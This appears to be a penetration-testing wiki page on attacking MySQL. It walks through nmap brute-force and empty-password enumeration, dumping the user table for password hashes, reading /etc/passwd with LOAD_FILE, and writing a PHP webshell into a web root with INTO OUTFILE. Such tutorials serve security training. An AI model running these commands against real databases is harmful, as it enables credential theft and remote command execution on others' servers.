MySQL
Categories:
Service Info
- Name: MySQL
- Purpose: Database
- Listening port: 3306 TCP
- OS: Unix-Like, Windows
MySQL is an open-source Structured Query Language (SQL) database developed and supported by Oracle. It is part of the LAMP stack (Linux, Apache, MySQL, PHP) for web applications. It is also often used to store sensitive information such as user account credentials and personally identifiable information (PII), although passwords are often hashed instead of stored in plaintext.
The best practice for hosting databases is to only allow local machine or internal network access, but misconfigurations can allow them to be accessed through the internet.
MariaDB is a community-developed, commercially-supported fork of MySQL. It maintains full compatibility with MySQL, and its clients and servers can be used interchanably.
SQL injection is a vast topic in of itself that a dedicated article will be create for. We will not be discussing it in this article.
Service Enumeration
Nmap scan with all MySQL scripts:
╭─brian@rx-93-nu ~
╰─$ sudo nmap 10.129.14.128 -sV -sC -p3306 --script mysql*
Starting Nmap 7.80 ( https://nmap.org ) at 2021-09-21 00:53 CEST
Nmap scan report for 10.129.14.128
Host is up (0.00021s latency).
PORT STATE SERVICE VERSION
3306/tcp open nagios-nsca Nagios NSCA
| mysql-brute:
| Accounts:
| root:<empty> - Valid credentials
|_ Statistics: Performed 45010 guesses in 5 seconds, average tps: 9002.0
|_mysql-databases: ERROR: Script execution failed (use -d to debug)
|_mysql-dump-hashes: ERROR: Script execution failed (use -d to debug)
| mysql-empty-password:
|_ root account has empty password
| mysql-enum:
| Valid usernames:
| root:<empty> - Valid credentials
| netadmin:<empty> - Valid credentials
| guest:<empty> - Valid credentials
| user:<empty> - Valid credentials
| web:<empty> - Valid credentials
| sysadmin:<empty> - Valid credentials
| administrator:<empty> - Valid credentials
| webadmin:<empty> - Valid credentials
| admin:<empty> - Valid credentials
| test:<empty> - Valid credentials
|_ Statistics: Performed 10 guesses in 1 seconds, average tps: 10.0
| mysql-info:
| Protocol: 10
| Version: 8.0.26-0ubuntu0.20.04.1
| Thread ID: 13
| Capabilities flags: 65535
| Some Capabilities: SupportsLoadDataLocal, SupportsTransactions, Speaks41ProtocolOld, LongPassword, DontAllowDatabaseTableColumn, Support41Auth, IgnoreSigpipes, SwitchToSSLAfterHandshake, FoundRows, InteractiveClient, Speaks41ProtocolNew, ConnectWithDatabase, IgnoreSpaceBeforeParenthesis, LongColumnFlag, SupportsCompression, ODBCClient, SupportsMultipleStatments, SupportsAuthPlugins, SupportsMultipleResults
| Status: Autocommit
| Salt: YTSgMfqvx\x0F\x7F\x16\&\x1EAeK>0
|_ Auth Plugin Name: caching_sha2_password
|_mysql-users: ERROR: Script execution failed (use -d to debug)
|_mysql-variables: ERROR: Script execution failed (use -d to debug)
|_mysql-vuln-cve2012-2122: ERROR: Script execution failed (use -d to debug)
MAC Address: 00:00:00:00:00:00 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 11.21 seconds
Database Engine Interaction
We can connect to a SQL database via the mysql utility, which allow us to query the database interactively.
╭─brian@rx-93-nu ~
╰─$ mysql -u root -pP4SSw0rd -h 10.129.14.128
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 150165
Server version: 8.0.27-0ubuntu0.20.04.1 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
We can use select version() to print out the version of MySQL running on the target.
MySQL [(none)]> select version();
+-------------------------+
| version() |
+-------------------------+
| 8.0.27-0ubuntu0.20.04.1 |
+-------------------------+
1 row in set (0.001 sec)
Default Databases
MySQL usually comes with several database preinstalled by default. Three of them contains information useful to attackers:
- mysql: the main system database, contains database user information such as username, password hashes, and permissions inside the
usertable.- The mysql must have
SELECTprivilege on theusertable in order to read it, which is only granted to high-privileged user likeroot.
- The mysql must have
- System schema (sys): contains tables, information and metadata necessary for management
- Information schema (information_schema): Also contains metadata, mainly retreived from the sys database
Database Enumeration
show databases command will show all databases available on this MySQL server:
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.006 sec)
To see the tables inside a database, we can first select the database and then use show tables.
MySQL [(none)]> use mysql;
MySQL [mysql]> show tables;
+------------------------------------------------------+
| Tables_in_mysql |
+------------------------------------------------------+
| columns_priv |
| component |
| db |
| default_roles |
| engine_cost |
| func |
| general_log |
| global_grants |
| gtid_executed |
| help_category |
| help_keyword |
| help_relation |
| help_topic |
| innodb_index_stats |
| innodb_table_stats |
| password_history |
...SNIP...
| user |
+------------------------------------------------------+
37 rows in set (0.002 sec)
If we are interested in the contents of a table, we can dump it using SELECT * FROM <TABLE_NAME>.
SELECT * FROM user
We can also see all columns fro a table with:
show columns FROM user
Then we can specify the column names we are interested in:
SELECT username,password FROM user
MySQL Attacks
Arbitrary File Read/Write
MySQL supports the reading and writing of system files. The writing of system files is particularly useful when a web server that supports a backend scripting language (PHP, ASP.NET, etc.) is running. This combination allows an attacker who has access to the MySQL server to write a webshell into a web directory, which would give him command execution capabilities on the target.
However, two factors are used to control system file access through MySQL:
- Only users with
FILEprivilege is allowed to read and write system files. - The
secure_file_privenvironment variable limits the scope of system file access. It can be set to one of three of the following values:- Empty: no affect, users with
FILEprivilege has the same file access permissions as the account running the MySQL service. - Name of a directory: Server limits reading/writing to that particular directory only.
- NULL: Servers disables all system file access.
- Empty: no affect, users with
We can query the secure_file_priv variable:
mysql> show variables like "secure_file_priv";
+------------------+-------+
| Variable_name | Value |
+------------------+-------+
| secure_file_priv | |
+------------------+-------+
1 row in set (0.005 sec)
To see if our current user has file access privilege, we can query the USER_PRIVILEGES table under information_schema:
mysql> SELECT * FROM information_schema.USER_PRIVILEGES
-> WHERE PRIVILEGE_TYPE = 'FILE';
+---------------------+---------------+----------------+--------------+
| GRANTEE | TABLE_CATALOG | PRIVILEGE_TYPE | IS_GRANTABLE |
+---------------------+---------------+----------------+--------------+
| 'root'@'localhost' | def | FILE | YES |
+---------------------+---------------+----------------+--------------+
2 rows in set (0.001 sec)
- If the query returns a row with our current username, we have the privilege.
- If the query returns an empty set, then we lack the privilege.
If we have FILE prvilege and the secure_file_priv environment variable is configured correctly, we can write to a file using SELECT ... INTO OUTFILE.
mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php';
Query OK, 1 row affected (0.001 sec)
To read from a file, we can use the LOAD_FILE command:
mysql> select LOAD_FILE("/etc/passwd");
+--------------------------+
| LOAD_FILE("/etc/passwd")
+--------------------------------------------------+
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
<SNIP>
Feedback
Was this page helpful?
Glad to hear it! Please tell us how we can improve.
Sorry to hear that. Please tell us how we can improve.